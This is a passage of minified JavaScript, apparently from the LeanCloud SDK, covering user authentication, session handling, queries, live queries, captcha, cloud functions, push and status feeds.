this.set("mobilePhoneNumber",e,t)},setUsername:function(e,t){return this.set("username",e,t)},setPassword:function(e,t){return this.set("password",e,t)},getEmail:function(){return this.get("email")},setEmail:function(e,t){return this.set("email",e,t)},authenticated:function(){return console.warn("DEPRECATED: 如果要判断当前用户的登录状态是否有效,请使用 currentUser.isAuthenticated().then(),如果要判断该用户是否是当前登录用户,请使用 user.id === currentUser.id。"),!!this._sessionToken&&!e._config.disableCurrentUser&&e.User.current()&&e.User.current().id===this.id},isAuthenticated:function(){var t=this;return c.default.resolve().then(function(){return!!t._sessionToken&&e.User._fetchUserBySessionToken(t._sessionToken).then(function(){return!0},function(e){if(211===e.code)return!1;throw e})})},getSessionToken:function(){return this._sessionToken},refreshSessionToken:function(e){var t=this;return p("users/"+this.id+"/refreshSessionToken",null,null,"PUT",null,e).then(function(e){return t._finishFetch(e),t._handleSaveResult(!0).then(function(){return t})})},getRoles:function(t){return e.Relation.reverseQuery("_Role","users",this).find(t)}},{_currentUser:null,_currentUserMatchesDisk:!1,_CURRENT_USER_KEY:"currentUser",_authProviders:{},signUp:function(t,n,r,i){return r=r||{},r.username=t,r.password=n,e.Object._create("_User").signUp(r,i)},logIn:function(t,n){var r=e.Object._create("_User");return r._finishFetch({username:t,password:n}),r.logIn()},become:function(e){return this._fetchUserBySessionToken(e).then(function(e){return e._handleSaveResult(!0).then(function(){return e})})},_fetchUserBySessionToken:function(t){if(void 0===t)return c.default.reject(new Error("The sessionToken cannot be undefined"));var n=e.Object._create("_User");return v({method:"GET",path:"/users/me",authOptions:{sessionToken:t}}).then(function(e){var t=n.parse(e);return n._finishFetch(t),n})},logInWithMobilePhoneSmsCode:function(t,n){var r=e.Object._create("_User");return r._finishFetch({mobilePhoneNumber:t,smsCode:n}),r.logIn()},signUpOrlogInWithMobilePhone:function(t,n,r,i){return r=r||{},r.mobilePhoneNumber=t,r.smsCode=n,e.Object._create("_User").signUpOrlogInWithMobilePhone(r,i)},logInWithMobilePhone:function(t,n){var r=e.Object._create("_User");return r._finishFetch({mobilePhoneNumber:t,password:n}),r.logIn()},loginWithEmail:function(t,n){var r=e.Object._create("_User");return r._finishFetch({email:t,password:n}),r.logIn()},loginWithAuthData:function(t,n,r){return e.User._logInWith(n,t,r)},signUpOrlogInWithAuthData:function(){return console.warn("DEPRECATED: User.signUpOrlogInWithAuthData 已废弃,请使用 User#loginWithAuthData 代替"),this.loginWithAuthData.apply(this,arguments)},loginWithAuthDataAndUnionId:function(e,t,n,r){return this.loginWithAuthData(_()(e,n,r),t,r)},signUpOrlogInWithAuthDataAndUnionId:function(){return console.warn("DEPRECATED: User.signUpOrlogInWithAuthDataAndUnionId 已废弃,请使用 User#loginWithAuthDataAndUnionId 代替"),this.loginWithAuthDataAndUnionId.apply(this,arguments)},mergeUnionId:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=n.asMainAccount,i=void 0!==r&&r;e=JSON.parse((0,o.default)(e));var s=e,a=s.authData,u=s.platform;return a.platform=u,a.main_account=i,a.unionid=t,e},loginWithWeapp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"weixin":i,s=t.asMainAccount,a=void 0===s||s,u=t.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return e.loginWithMiniApp(t,{failOnNotExist:c})})},loginWithWeappWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"weixin":i,s=r.asMainAccount,a=void 0!==s&&s,u=r.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),n.loginWithMiniApp(r,{failOnNotExist:c})})},loginWithQQApp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"qq":i,s=t.asMainAccount,a=void 0===s||s,u=t.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return t.provider="lc_qqapp",e.loginWithMiniApp(t,{failOnNotExist:c})})},loginWithQQAppWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"qq":i,s=r.asMainAccount,a=void 0!==s&&s,u=r.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),r.provider="lc_qqapp",n.loginWithMiniApp(r,{failOnNotExist:c})})},loginWithMiniApp:function(e,t){var n=this;if(void 0===e){return m("getAuthInfo")().then(function(e){return n.loginWithAuthData(e.authData,e.provider,t)})}return this.loginWithAuthData(e.authData,e.provider,t)},_genId:function(){return f()},loginAnonymously:function(){return this.loginWithAuthData({id:e.User._genId()},"anonymous")},associateWithAuthData:function(e,t,n){return console.warn("DEPRECATED: User.associateWithAuthData 已废弃,请使用 User#associateWithAuthData 代替"),e._linkWith(t,n)},logOut:function(){return e._config.disableCurrentUser?(console.warn("AV.User.current() was disabled in multi-user environment, call logOut() from user object instead https://leancloud.cn/docs/leanengine-node-sdk-upgrade-1.html"),c.default.resolve(null)):(null!==e.User._currentUser&&(e.User._currentUser._logOutWithAll(),e.User._currentUser._isCurrentUser=!1),e.User._currentUserMatchesDisk=!0,e.User._currentUser=null,e.localStorage.removeItemAsync(e._getAVPath(e.User._CURRENT_USER_KEY)).then(function(){return e._refreshSubscriptionId()}))},followerQuery:function(t){if(!t||!l.isString(t))throw new Error("Invalid user object id.");var n=new e.FriendShipQuery("_Follower");return n._friendshipTag="follower",n.equalTo("user",e.Object.createWithoutData("_User",t)),n},followeeQuery:function(t){if(!t||!l.isString(t))throw new Error("Invalid user object id.");var n=new e.FriendShipQuery("_Followee");return n._friendshipTag="followee",n.equalTo("user",e.Object.createWithoutData("_User",t)),n},requestPasswordReset:function(e){return p("requestPasswordReset",null,null,"POST",{email:e})},requestEmailVerify:function(e){return p("requestEmailVerify",null,null,"POST",{email:e})},requestMobilePhoneVerify:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={mobilePhoneNumber:e};return t.validateToken&&(n.validate_token=t.validateToken),p("requestMobilePhoneVerify",null,null,"POST",n,t)},requestPasswordResetBySmsCode:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={mobilePhoneNumber:e};return t.validateToken&&(n.validate_token=t.validateToken),p("requestPasswordResetBySmsCode",null,null,"POST",n,t)},resetPasswordBySmsCode:function(e,t){return p("resetPasswordBySmsCode",null,e,"PUT",{password:t})},verifyMobilePhone:function(e){return p("verifyMobilePhone",null,e,"POST",null)},requestLoginSmsCode:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={mobilePhoneNumber:e};return t.validateToken&&(n.validate_token=t.validateToken),p("requestLoginSmsCode",null,null,"POST",n,t)},currentAsync:function(){return e._config.disableCurrentUser?(console.warn("AV.User.currentAsync() was disabled in multi-user environment, access user from request instead https://leancloud.cn/docs/leanengine-node-sdk-upgrade-1.html"),c.default.resolve(null)):e.User._currentUser?c.default.resolve(e.User._currentUser):e.User._currentUserMatchesDisk?c.default.resolve(e.User._currentUser):e.localStorage.getItemAsync(e._getAVPath(e.User._CURRENT_USER_KEY)).then(function(t){if(!t)return null;e.User._currentUserMatchesDisk=!0,e.User._currentUser=e.Object._create("_User"),e.User._currentUser._isCurrentUser=!0;var n=JSON.parse(t);return e.User._currentUser.id=n._id,delete n._id,e.User._currentUser._sessionToken=n._sessionToken,delete n._sessionToken,e.User._currentUser._finishFetch(n),e.User._currentUser._synchronizeAllAuthData(),e.User._currentUser._refreshCache(),e.User._currentUser._opSetQueue=[{}],e.User._currentUser})},current:function(){if(e._config.disableCurrentUser)return console.warn("AV.User.current() was disabled in multi-user environment, access user from request instead https://leancloud.cn/docs/leanengine-node-sdk-upgrade-1.html"),null;if(e.localStorage.async){var t=new Error("Synchronous API User.current() is not available in this runtime. Use User.currentAsync() instead.");throw t.code="SYNC_API_NOT_AVAILABLE",t}if(e.User._currentUser)return e.User._currentUser;if(e.User._currentUserMatchesDisk)return e.User._currentUser;e.User._currentUserMatchesDisk=!0;var n=e.localStorage.getItem(e._getAVPath(e.User._CURRENT_USER_KEY));if(!n)return null;e.User._currentUser=e.Object._create("_User"),e.User._currentUser._isCurrentUser=!0;var r=JSON.parse(n);return e.User._currentUser.id=r._id,delete r._id,e.User._currentUser._sessionToken=r._sessionToken,delete r._sessionToken,e.User._currentUser._finishFetch(r),e.User._currentUser._synchronizeAllAuthData(),e.User._currentUser._refreshCache(),e.User._currentUser._opSetQueue=[{}],e.User._currentUser},_saveCurrentUser:function(t){var n;return n=e.User._currentUser!==t?e.User.logOut():c.default.resolve(),n.then(function(){t._isCurrentUser=!0,e.User._currentUser=t;var n=t._toFullJSON();return n._id=t.id,n._sessionToken=t._sessionToken,e.localStorage.setItemAsync(e._getAVPath(e.User._CURRENT_USER_KEY),(0,o.default)(n)).then(function(){return e.User._currentUserMatchesDisk=!0,e._refreshSubscriptionId()})})},_registerAuthenticationProvider:function(t){e.User._authProviders[t.getAuthType()]=t,!e._config.disableCurrentUser&&e.User.current()&&e.User.current()._synchronizeAuthData(t.getAuthType())},_logInWith:function(t,n,r){return e.Object._create("_User")._linkWith(t,n,r)}})}},function(e,t,n){"use strict";t.__esModule=!0;var r=n(74),i=function(e){return e&&e.__esModule?e:{default:e}}(r);t.default=function(e,t,n){return t in e?(0,i.default)(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}var i=n(9),o=r(i),s=n(2),a=r(s),u=n(0),c=n(19)("leancloud:query"),l=n(16),f=n(5),h=f._request,d=f.request,p=n(6),v=p.ensureArray,g=p.transformFetchOptions,m=p.continueWhile,_=function(e,t){if(void 0===e)throw new Error(t)};e.exports=function(e){e.Query=function(t){u.isString(t)&&(t=e.Object._getSubclass(t)),this.objectClass=t,this.className=t.prototype.className,this._where={},this._include=[],this._select=[],this._limit=-1,this._skip=0,this._defaultParams={}},e.Query.or=function(){var t=u.toArray(arguments),n=null;e._arrayEach(t,function(e){if(u.isNull(n)&&(n=e.className),n!==e.className)throw new Error("All queries must be for the same class")});var r=new e.Query(n);return r._orQuery(t),r},e.Query.and=function(){var t=u.toArray(arguments),n=null;e._arrayEach(t,function(e){if(u.isNull(n)&&(n=e.className),n!==e.className)throw new Error("All queries must be for the same class")});var r=new e.Query(n);return r._andQuery(t),r},e.Query.doCloudQuery=function(t,n,r){var i={cql:t};return u.isArray(n)?i.pvalues=n:r=n,h("cloudQuery",null,null,"GET",i,r).then(function(t){var n=new e.Query(t.className);return{results:u.map(t.results,function(e){var r=n._newObject(t);return r._finishFetch&&r._finishFetch(n._processResult(e),!0),r}),count:t.count,className:t.className}})},e.Query.fromJSON=function(t){var n=t.className,r=t.where,i=t.include,o=t.select,s=t.includeACL,a=t.limit,c=t.skip,l=t.order;if("string"!=typeof n)throw new TypeError("Invalid Query JSON, className must be a String.");var f=new e.Query(n);return u.extend(f,{_where:r,_include:i,_select:o,_includeACL:s,_limit:a,_skip:c,_order:l}),f},e.Query._extend=e._extend,u.extend(e.Query.prototype,{_processResult:function(e){return e},get:function(e,t){if(!u.isString(e))throw new Error("objectId must be a string");if(""===e)return a.default.reject(new l(l.OBJECT_NOT_FOUND,"Object not found."));var n=this._newObject();n.id=e;var r=this._getParams(),i={};return r.keys&&(i.keys=r.keys),r.include&&(i.include=r.include),r.includeACL&&(i.includeACL=r.includeACL),h("classes",this.className,e,"GET",g(i),t).then(function(e){if(u.isEmpty(e))throw new l(l.OBJECT_NOT_FOUND,"Object not found.");return n._finishFetch(n.parse(e),!0),n})},toJSON:function(){return{className:this.className,where:this._where,include:this._include,select:this._select,includeACL:this._includeACL,limit:this._limit,skip:this._skip,order:this._order}},_getParams:function(){var e=u.extend({},this._defaultParams,{where:this._where});return this._include.length>0&&(e.include=this._include.join(",")),this._select.length>0&&(e.keys=this._select.join(",")),void 0!==this._includeACL&&(e.returnACL=this._includeACL),this._limit>=0&&(e.limit=this._limit),this._skip>0&&(e.skip=this._skip),void 0!==this._order&&(e.order=this._order),e},_newObject:function(t){return t&&t.className?new e.Object(t.className):new this.objectClass},_createRequest:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this._getParams(),t=arguments[1],n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"/classes/"+this.className;if(encodeURIComponent((0,o.default)(e)).length>2e3){return d({path:"/batch",method:"POST",data:{requests:[{method:"GET",path:"/1.1"+n,params:e}]},authOptions:t}).then(function(e){var t=e[0];if(t.success)return t.success;var n=new Error(t.error.error||"Unknown batch error");throw n.code=t.error.code,n})}return d({method:"GET",path:n,query:e,authOptions:t})},_parseResponse:function(e){var t=this;return u.map(e.results,function(n){var r=t._newObject(e);return r._finishFetch&&r._finishFetch(t._processResult(n),!0),r})},find:function(e){return this._createRequest(void 0,e).then(this._parseResponse.bind(this))},scan:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.orderedBy,r=t.batchSize,i=arguments[1],o=this._getParams();c("scan %O",o),o.order&&(console.warn("The order of the query is ignored for Query#scan. Checkout the orderedBy option of Query#scan."),delete o.order),o.skip&&(console.warn("The skip option of the query is ignored for Query#scan."),delete o.skip),o.limit&&(console.warn("The limit option of the query is ignored for Query#scan."),delete o.limit),n&&(o.scan_key=n),r&&(o.limit=r);var s=a.default.resolve([]),l=void 0,f=!1;return{next:function(){return s=s.then(function(t){return f?[]:t.length>1?t:l||0===t.length?h("scan/classes",e.className,null,"GET",l?u.extend({},o,{cursor:l}):o,i).then(function(t){return l=t.cursor,e._parseResponse(t)}).then(function(e){return e.length||(f=!0),t.concat(e)}):(f=!0,t)}),s.then(function(e){return e.shift()}).then(function(e){return{value:e,done:f}})}}},destroyAll:function(t){return this.find(t).then(function(n){return e.Object.destroyAll(n,t)})},count:function(e){var t=this._getParams();return t.limit=0,t.count=1,this._createRequest(t,e).then(function(e){return e.count})},first:function(e){var t=this,n=this._getParams();return n.limit=1,this._createRequest(n,e).then(function(e){return u.map(e.results,function(e){var n=t._newObject();return n._finishFetch&&n._finishFetch(t._processResult(e),!0),n})[0]})},skip:function(e){return _(e,"undefined is not a valid skip value"),this._skip=e,this},limit:function(e){return _(e,"undefined is not a valid limit value"),this._limit=e,this},equalTo:function(t,n){return _(t,"undefined is not a valid key"),_(n,"undefined is not a valid value"),this._where[t]=e._encode(n),this},_addCondition:function(t,n,r){return _(t,"undefined is not a valid condition key"),_(n,"undefined is not a valid condition"),_(r,"undefined is not a valid condition value"),this._where[t]||(this._where[t]={}),this._where[t][n]=e._encode(r),this},sizeEqualTo:function(e,t){return this._addCondition(e,"$size",t),this},notEqualTo:function(e,t){return this._addCondition(e,"$ne",t),this},lessThan:function(e,t){return this._addCondition(e,"$lt",t),this},greaterThan:function(e,t){return this._addCondition(e,"$gt",t),this},lessThanOrEqualTo:function(e,t){return this._addCondition(e,"$lte",t),this},greaterThanOrEqualTo:function(e,t){return this._addCondition(e,"$gte",t),this},containedIn:function(e,t){return this._addCondition(e,"$in",t),this},notContainedIn:function(e,t){return this._addCondition(e,"$nin",t),this},containsAll:function(e,t){return this._addCondition(e,"$all",t),this},exists:function(e){return this._addCondition(e,"$exists",!0),this},doesNotExist:function(e){return this._addCondition(e,"$exists",!1),this},matches:function(e,t,n){return this._addCondition(e,"$regex",t),n||(n=""),t.ignoreCase&&(n+="i"),t.multiline&&(n+="m"),n&&n.length&&this._addCondition(e,"$options",n),this},matchesQuery:function(e,t){var n=t._getParams();return n.className=t.className,this._addCondition(e,"$inQuery",n),this},doesNotMatchQuery:function(e,t){var n=t._getParams();return n.className=t.className,this._addCondition(e,"$notInQuery",n),this},matchesKeyInQuery:function(e,t,n){var r=n._getParams();return r.className=n.className,this._addCondition(e,"$select",{key:t,query:r}),this},doesNotMatchKeyInQuery:function(e,t,n){var r=n._getParams();return r.className=n.className,this._addCondition(e,"$dontSelect",{key:t,query:r}),this},_orQuery:function(e){var t=u.map(e,function(e){return e._getParams().where});return this._where.$or=t,this},_andQuery:function(e){var t=u.map(e,function(e){return e._getParams().where});return this._where.$and=t,this},_quote:function(e){return"\\Q"+e.replace("\\E","\\E\\\\E\\Q")+"\\E"},contains:function(e,t){return this._addCondition(e,"$regex",this._quote(t)),this},startsWith:function(e,t){return this._addCondition(e,"$regex","^"+this._quote(t)),this},endsWith:function(e,t){return this._addCondition(e,"$regex",this._quote(t)+"$"),this},ascending:function(e){return _(e,"undefined is not a valid key"),this._order=e,this},addAscending:function(e){return _(e,"undefined is not a valid key"),this._order?this._order+=","+e:this._order=e,this},descending:function(e){return _(e,"undefined is not a valid key"),this._order="-"+e,this},addDescending:function(e){return _(e,"undefined is not a valid key"),this._order?this._order+=",-"+e:this._order="-"+e,this},near:function(t,n){return n instanceof e.GeoPoint||(n=new e.GeoPoint(n)),this._addCondition(t,"$nearSphere",n),this},withinRadians:function(e,t,n){return this.near(e,t),this._addCondition(e,"$maxDistance",n),this},withinMiles:function(e,t,n){return this.withinRadians(e,t,n/3958.8)},withinKilometers:function(e,t,n){return this.withinRadians(e,t,n/6371)},withinGeoBox:function(t,n,r){return n instanceof e.GeoPoint||(n=new e.GeoPoint(n)),r instanceof e.GeoPoint||(r=new e.GeoPoint(r)),this._addCondition(t,"$within",{$box:[n,r]}),this},include:function(e){var t=this;return _(e,"undefined is not a valid key"),u.forEach(arguments,function(e){t._include=t._include.concat(v(e))}),this},includeACL:function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this._includeACL=e,this},select:function(e){var t=this;return _(e,"undefined is not a valid key"),u.forEach(arguments,function(e){t._select=t._select.concat(v(e))}),this},each:function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(this._order||this._skip||this._limit>=0){var r=new Error("Cannot iterate on a query with sort, skip, or limit.");return a.default.reject(r)}var i=new e.Query(this.objectClass);i._limit=n.batchSize||100,i._where=u.clone(this._where),i._include=u.clone(this._include),i.ascending("objectId");var o=!1;return m(function(){return!o},function(){return i.find(n).then(function(e){var n=a.default.resolve();return u.each(e,function(e){n=n.then(function(){return t(e)})}),n.then(function(){e.length>=i._limit?i.greaterThan("objectId",e[e.length-1].id):o=!0})})})},subscribe:function(t){return e.LiveQuery.init(this,t)}}),e.FriendShipQuery=e.Query._extend({_newObject:function(){return new(e.Object._getSubclass("_User"))},_processResult:function(e){if(e&&e[this._friendshipTag]){var t=e[this._friendshipTag];return"Pointer"===t.__type&&"_User"===t.className&&(delete t.__type,delete t.className),t}return null}})}},function(e,t,n){"use strict";var r=n(2),i=function(e){return e&&e.__esModule?e:{default:e}}(r),o=n(0),s=n(71),a=n(6),u=a.inherits,c=n(5),l=c.request,f=function(e,t){return l({method:"POST",path:"/LiveQuery/subscribe",data:{query:e,id:t}})};e.exports=function(e){var t=function(){if(!e._config.realtime)throw new Error("LiveQuery not supported. Please use the LiveQuery bundle. https://url.leanapp.cn/enable-live-query")};e.LiveQuery=u(s,{constructor:function(e,t,n,r){var i=this;s.apply(this),this.id=e,this._client=t,this._client.register(this),this._queryJSON=n,this._subscriptionId=r,this._onMessage=this._dispatch.bind(this),this._onReconnect=function(){f(i._queryJSON,i._subscriptionId).catch(function(e){return console.error("LiveQuery resubscribe error: "+e.message)})},t.on("message",this._onMessage),t.on("reconnect",this._onReconnect)},_dispatch:function(t){var n=this;t.forEach(function(t){var r=t.op,i=t.object,s=t.query_id,a=t.updatedKeys;if(s===n.id){var u=e.parseJSON(o.extend({__type:"_File"===i.className?"File":"Object"},i));a?n.emit(r,u,a):n.emit(r,u)}})},unsubscribe:function(){var e=this._client;return e.off("message",this._onMessage),e.off("reconnect",this._onReconnect),e.deregister(this),l({method:"POST",path:"/LiveQuery/unsubscribe",data:{id:e.id,query_id:this.id}})}},{init:function(n){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},o=r.subscriptionId,s=void 0===o?e._getSubscriptionId():o;if(t(),!(n instanceof e.Query))throw new TypeError("LiveQuery must be inited with a Query");return i.default.resolve(s).then(function(t){return e._config.realtime.createLiveQueryClient(t).then(function(r){var i=n._getParams(),o=i.where,s=i.keys,a=i.returnACL,u={where:o,keys:s,returnACL:a,className:n.className},c=f(u,t).then(function(n){var i=n.query_id;return new e.LiveQuery(i,r,u,t)}).finally(function(){r.deregister(c)});return r.register(c),c})})},pause:function(){return t(),e._config.realtime.pause()},resume:function(){return t(),e._config.realtime.resume()}})}},function(e,t,n){"use strict";var r=n(0),i=n(6),o=i.tap;e.exports=function(e){e.Captcha=function(e,t){this._options=e,this._authOptions=t,this.url=void 0,this.captchaToken=void 0,this.validateToken=void 0},e.Captcha.prototype.refresh=function(){var t=this;return e.Cloud._requestCaptcha(this._options,this._authOptions).then(function(e){var n=e.captchaToken,i=e.url;return r.extend(t,{captchaToken:n,url:i}),i})},e.Captcha.prototype.verify=function(t){var n=this;return e.Cloud.verifyCaptcha(t,this.captchaToken).then(o(function(e){return n.validateToken=e}))},e.Captcha.prototype.bind=function(e,t){var n=this,r=e.textInput,i=e.image,o=e.verifyButton,s=t.success,a=t.error;if("string"==typeof r&&!(r=document.getElementById(r)))throw new Error("textInput with id "+r+" not found");if("string"==typeof i&&!(i=document.getElementById(i)))throw new Error("image with id "+i+" not found");if("string"==typeof o&&!(o=document.getElementById(o)))throw new Error("verifyButton with id "+o+" not found");this.__refresh=function(){return n.refresh().then(function(e){i.src=e,r&&(r.value="",r.focus())}).catch(function(e){return console.warn("refresh captcha fail: "+e.message)})},i&&(this.__image=i,i.src=this.url,i.addEventListener("click",this.__refresh)),this.__verify=function(){var e=r.value;n.verify(e).catch(function(e){throw n.__refresh(),e}).then(s,a).catch(function(e){return console.warn("verify captcha fail: "+e.message)})},r&&o&&(this.__verifyButton=o,o.addEventListener("click",this.__verify))},e.Captcha.prototype.unbind=function(){this.__image&&this.__image.removeEventListener("click",this.__refresh),this.__verifyButton&&this.__verifyButton.removeEventListener("click",this.__verify)},e.Captcha.request=function(t,n){var r=new e.Captcha(t,n);return r.refresh().then(function(){return r})}}},function(e,t,n){"use strict";var r=n(2),i=function(e){return e&&e.__esModule?e:{default:e}}(r),o=n(0),s=n(5),a=s._request,u=s.request;e.exports=function(e){e.Cloud=e.Cloud||{},o.extend(e.Cloud,{run:function(t,n,r){return u({service:"engine",method:"POST",path:"/functions/"+t,data:e._encode(n,null,!0),authOptions:r}).then(function(t){return e._decode(t).result})},rpc:function(t,n,r){return o.isArray(n)?i.default.reject(new Error("Can't pass Array as the param of rpc function in JavaScript SDK.")):u({service:"engine",method:"POST",path:"/call/"+t,data:e._encodeObjectOrArray(n),authOptions:r}).then(function(t){return e._decode(t).result})},getServerDate:function(){return a("date",null,null,"GET").then(function(t){return e._decode(t)})},requestSmsCode:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(o.isString(e)&&(e={mobilePhoneNumber:e}),!e.mobilePhoneNumber)throw new Error("Missing mobilePhoneNumber.");return t.validateToken&&(e=o.extend({},e,{validate_token:t.validateToken})),a("requestSmsCode",null,null,"POST",e,t)},verifySmsCode:function(e,t){if(!e)throw new Error("Missing sms code.");var n={};return o.isString(t)&&(n.mobilePhoneNumber=t),a("verifySmsCode",e,null,"POST",n)},_requestCaptcha:function(e,t){return a("requestCaptcha",null,null,"GET",e,t).then(function(e){var t=e.captcha_url;return{captchaToken:e.captcha_token,url:t}})},requestCaptcha:e.Captcha.request,verifyCaptcha:function(e,t){return a("verifyCaptcha",null,null,"POST",{captcha_code:e,captcha_token:t}).then(function(e){return e.validate_token})}})}},function(e,t,n){"use strict";var r=n(5).request;e.exports=function(e){e.Installation=e.Object.extend("_Installation"),e.Push=e.Push||{},e.Push.send=function(e,t){if(e.where&&(e.where=e.where._getParams().where),e.where&&e.cql)throw new Error("Both where and cql can't be set");if(e.push_time&&(e.push_time=e.push_time.toJSON()),e.expiration_time&&(e.expiration_time=e.expiration_time.toJSON()),e.expiration_time&&e.expiration_time_interval)throw new Error("Both expiration_time and expiration_time_interval can't be set");return r({service:"push",method:"POST",path:"/push",data:e,authOptions:t})}}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}var i=n(2),o=r(i),s=n(28),a=r(s),u=n(0),c=n(5)._request,l=n(6),f=l.getSessionToken;e.exports=function(e){var t=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return f(t)?e.User._fetchUserBySessionToken(f(t)):e.User.currentAsync()},n=function(n){return t(n).then(function(t){return e.Object.createWithoutData("_User",t.id)._toPointer()})};e.Status=function(e,t){return this.data={},this.inboxType="default",this.query=null,e&&"object"===(void 0===e?"undefined":(0,a.default)(e))?this.data=e:(e&&(this.data.image=e),t&&(this.data.message=t)),this},u.extend(e.Status.prototype,{get:function(e){return this.data[e]},set:function(e,t){return this.data[e]=t,this},destroy:function(e){return this.id?c("statuses",null,this.id,"DELETE",e):o.default.reject(new Error("The status id is not exists."))},toObject:function(){return this.id?e.Object.createWithoutData("_Status",this.id):null},_getDataJSON:function(){var t=u.clone(this.data);return e._encode(t)},send:function(){var t=this,r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(!f(r)&&!e.User.current())throw new Error("Please signin an user.");return this.query?n(r).then(function(e){var n=t.query._getParams();n.className=t.query.className;var i={};return i.query=n,t.data=t.data||{},t.data.source=t.data.source||e,i.data=t._getDataJSON(),i.inboxType=t.inboxType||"default",c("statuses",null,null,"POST",i,r)}).then(function(n){return t.id=n.objectId,t.createdAt=e._parseDate(n.createdAt),t}):e.Status.sendStatusToFollowers(this,r)},_finishFetch:function(t){this.id=t.objectId,this.createdAt=e._parseDate(t.createdAt),this.updatedAt=e._parseDate(t.updatedAt),this.messageId=t.messageId,delete t.messageId,delete t.objectId,delete t.createdAt,delete t.updatedAt,this.data=e._decode(t)}}),e.Status.sendStatusToFollowers=function(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!f(r)&&!e.User.current())throw new Error("Please signin an user.");return n(r).then(function(n){var i={};i.className="_Follower",i.keys="follower",i.where={user:n};var o={};return o.query=i,t.data=t.data||{},t.data.source=t.data.source||n,o.data=t._getDataJSON(),o.inboxType=t.inboxType||"default",c("statuses",null,null,"POST",o,r).then(function(n){return t.id=n.objectId,t.createdAt=e._parseDate(n.createdAt),t})})},e.Status.sendPrivateStatus=function(t,r){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(!f(i)&&!e.User.current())throw new Error("Please signin an user.");if(!r)throw new Error("Invalid target user.");var o=u.isString(r)?r:r.id;if(!o)throw new Error("Invalid target user.");return n(i).then(function(n){var r={};r.className="_User",r.where={objectId:o};var s={};return s.query=r,t.data=t.data||{},t.data.source=t.data.source||n,s.data=t._getDataJSON(),s.inboxType="private",t.inboxType="private",c("statuses",null,null,"POST",s,i).then(function(n){return t.id=n.objectId,t.createdAt=e._parseDate(n.createdAt),t})})},e.Status.countUnreadStatuses=function(n){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"default",i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(u.isString(r)||(i=r),!f(i)&&null==n&&!e.User.current())throw new Error("Please signin an user or pass the owner objectId.");return o.default.resolve(n||t(i)).then(function(t){var n={};return n.inboxType=e._encode(r),n.owner=e._encode(t),c("subscribe/statuses/count",null,null,"GET",n,i)})},e.Status.resetUnreadCount=function(n){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"default",i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(u.isString(r)||(i=r),!f(i)&&null==n&&!e.User.current())throw new Error("Please signin an user or pass the owner objectId.");return o.default.resolve(n||t(i)).then(function(t){var n={};return n.inboxType=e._encode(r),n.owner=e._encode(t),c("subscribe/statuses/resetUnreadCount",null,null,"POST",n,i)})},e.Status.statusQuery=function(t){var n=new e.Query("_Status");return t&&n.equalTo("source",t),n},e.InboxQuery=e.Query._extend({_objectClass:e.Status,_sinceId:0,_maxId:0,_inboxType:"default",_owner:null,_newObject:function(){return new e.Status},_createRequest:function(t,n){return e.InboxQuery.__super__._createRequest.call(this,t,n,"/subscribe/statuses")},sinceId:function(e){return this._sinceId=e,this},maxId:function(e){return this._maxId=e,this},owner:function(e){return this._owner=e,this},inboxType:function(e){return this._inboxType=e,this},_getParams:function(){var t=e.InboxQuery.__super__._getParams.call(this);return t.owner=e._encode(this._owner),t.inboxType=e._encode(this._inboxType),t.sinceId=e._encode(this._sinceId),t.maxId=e._encode(this._maxId),t}}),e.Status.inboxQuery=function(t,n){var r=new e.InboxQuery(e.Status);return t&&(r._owner=t),n&&(r._inboxType=n),r}}},function(e,t,n){"use strict";var r=n(9),i=function(e){return e&&e.__esModule?e:{default:e}}(r),o=n(0),s=n(5)._request;e.exports=function(e){e.SearchSortBuilder=function(){this._sortFields=[]},o.extend(e.SearchSortBuilder.prototype,{_addField:function(e,t,n,r){var i={};return i[e]={order:t||"asc",mode:n||"avg",missing:"_"+(r||"last")},this._sortFields.push(i),this},ascending:function(e,t,n){return this._addField(e,"asc",t,n)},descending:function(e,t,n){return this._addField(e,"desc",t,n)},whereNear:function(e,t,n){n=n||{};var r={},i={lat:t.latitude,lon:t.longitude},o={order:n.order||"asc",mode:n.mode||"avg",unit:n.unit||"km"};return 